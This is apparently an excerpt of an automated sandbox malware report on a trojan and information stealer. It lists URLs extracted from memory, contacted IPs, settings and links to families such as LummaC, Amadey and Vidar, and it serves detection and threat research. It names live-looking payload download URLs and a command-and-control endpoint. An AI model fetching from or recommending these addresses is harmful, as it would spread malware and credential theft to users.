https://raw.githubusercontent.comD	NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://stackoverflow.com/q/14436606/23354	f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click/A	54ad0685cd.exe, 00000020.00000003.3536148288.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/lolz/random.execoded	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
https://hulkpara.xyz3	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3032818656.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/history.aspx	f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.2872344764.0000000005275000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.ver)	svchost.exe, 00000010.00000002.3569754064.00000206DE200000.00000004.00000020.00020000.00000000.sdmp	false	high
https://t.me/k04aelm0nk3Mozilla/5.0	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542515698.0000000000423000.00000008.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.0000000000424000.00000004.00000001.01000000.00000013.sdmp	false	high
https://cheapptaxysu.click:443/apirom	54ad0685cd.exe, 00000020.00000003.3532731103.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17	3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://www.cloudflare.com/5xx-error-landing	54ad0685cd.exe, 00000020.00000003.3227766231.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201668224.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201700814.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.w3.oh	1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FE6F000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A4019E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://httpbin.org/ipbefore	3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	false	high
http://foo/Resources/StoreLogo.Light.png	1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000A.00000002.2818597938.0000000004C95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click/1	54ad0685cd.exe, 00000020.00000003.3499242574.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3536148288.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click/4	54ad0685cd.exe, 00000020.00000003.3201776976.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3227766231.0000000000F72000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/&	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://html4/loose.dtd	3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://hulkpara.xyz/)	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/wicked/random.exe	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.43/Zu7JuNko/index.phpY	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://hulkpara.xyz/2	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.0000000000811000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/wicked/random.exe4	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyzData	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.00000000005AC000.00000004.00000001.01000000.00000013.sdmp	false	unknown
https://hulkpara.xyz/4	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/3	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/5	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://docs.rs/getrandom#nodejs-es-module-support	ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exeL	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/=	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/rtin	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.0000000000811000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/history.aspxS	f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://.css	3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://hulkpara.xyz/B	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/F	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/E	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3032818656.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://foo/bar/resources/app.light.ico	1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A400CB000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/L	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/1293295511/ga70pjP.exeYS6	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click:443/api	54ad0685cd.exe, 00000020.00000003.3419270172.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3532731103.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	54ad0685cd.exe, 00000020.00000003.3284063001.000000000583E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com5	skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://foo/Resources/StoreAppList.Light.png	1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://hulkpara.xyz/rsaenh.dllxyz5I	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3363807819.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3352977373.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	54ad0685cd.exe, 00000020.00000003.3285311500.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/accountname.aspx	f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	false	unknown
http://.jpg	3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://hulkpara.xyz/e	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hulkpara.xyz/h	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/lolz/random.exe	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/mgravell/protobuf-net	f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://hulkpara.xyz/z	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click/apix3O7G	54ad0685cd.exe, 00000020.00000003.3261963417.0000000001005000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://github.comd	NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A2C000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A1A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/I3	skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3579351285.0000000003C98000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
13.249.9.35	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.70.121.192	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
176.53.146.212	home.fivetk5vt.top	United Kingdom	35791	VANNINVENTURESGB	false
52.138.229.66	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.173.219.40	unknown	United States	3	MIT-GATEWAYSUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
184.51.149.224	unknown	United States	20940	AKAMAI-ASN1EU	false
94.130.191.168	hulkpara.xyz	Germany	24940	HETZNER-ASDE	true
172.67.177.88	cheapptaxysu.click	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
95.214.234.11	gips620.top	Ukraine	269880	HondurasInternetSAHN	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578370
Start date and time:	2024-12-19 16:08:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@117/237@45/22
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 56% Number of executed functions: 291 Number of non-executed functions: 81
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 23.50.252.137, 2.20.41.184, 142.250.181.99, 64.233.162.84, 142.250.200.238, 172.217.17.46, 172.217.17.67, 172.217.18.234, 142.250.200.202, 216.58.211.202, 142.250.201.10, 142.250.200.234, 142.250.203.234, 142.251.37.42, 142.251.37.234, 142.250.201.42, 172.217.171.202, 142.251.37.202, 172.217.19.138, 172.217.18.42, 216.58.212.106, 216.58.198.74, 142.251.37.170, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 172.217.19.206, 13.107.6.158, 13.87.96.169, 2.16.168.107, 2.16.168.113, 2.16.158.34, 2.16.158.56, 2.16.158.40, 2.16.158.35, 2.16.158.50, 2.16.158.57, 2.16.158.43, 2.16.158.42, 2.16.158.51, 2.19.198.17, 23.32.239.58, 2.18.40.138, 2.18.40.152, 2.18.40.154, 2.18.40.153, 2.18.40.163, 2.18.40.148, 2.18.40.134, 2.18.40.143, 2.18.40.162, 104.126.37.226, 104.126.37.227, 104.126.37.195, 104.126.37.224, 104.126.37.216, 104.126.37.234, 104.126.37.242, 104.126.37.192, 104.126.37.203, 2.16.158.96, 2.16.158.169, 2.16.158.171, 2.16.15
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, data-edge.smartscreen.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, nav.smartscreen.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, login.live.com, e16604.g.akamaiedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, store-images.s-microsoft.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, livetileedge.dsx.mp.microsoft.com,
Execution Graph export aborted for target NN9Dd7c.exe, PID 1592 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3328 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:10:03	API Interceptor	114372x Sleep call for process: skotes.exe modified
10:10:15	API Interceptor	22x Sleep call for process: powershell.exe modified
10:10:21	API Interceptor	1x Sleep call for process: f4d805b7c6.exe modified
10:10:21	API Interceptor	2x Sleep call for process: svchost.exe modified
10:10:23	API Interceptor	60x Sleep call for process: NN9Dd7c.exe modified
10:10:55	API Interceptor	60x Sleep call for process: 54ad0685cd.exe modified
16:09:28	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
16:11:21	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
98.85.100.80	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	SwJD3kiOwV.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	8dw8GAvqmM.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	9nYVfFos77.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	L1SrJoDQvG.exe	Get hash	malicious	Unknown	Browse
	ovQrwYAhbq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	Ry6ot1YULB.exe	Get hash	malicious	Unknown	Browse
	Cc8zEnIDB2.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fivetk5vt.top	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.53.146.212
	s3hvuz3XS0.exe	Get hash	malicious	Cryptbot	Browse	176.53.146.212
	65AcuGF7W7.exe	Get hash	malicious	Cryptbot	Browse	176.53.146.212
	9nYVfFos77.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212
	ovQrwYAhbq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212
	Sh2uIqqKqc.exe	Get hash	malicious	Cryptbot	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	176.53.146.212
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212
chrome.cloudflare-dns.com	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	File di reclamo per violazione del copyright File di reclamo per violazione del copyright.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	tasktow.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	g8ix97hz.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	162.159.61.3
	H3G7Xu6gih.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
cheapptaxysu.click	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.67.146
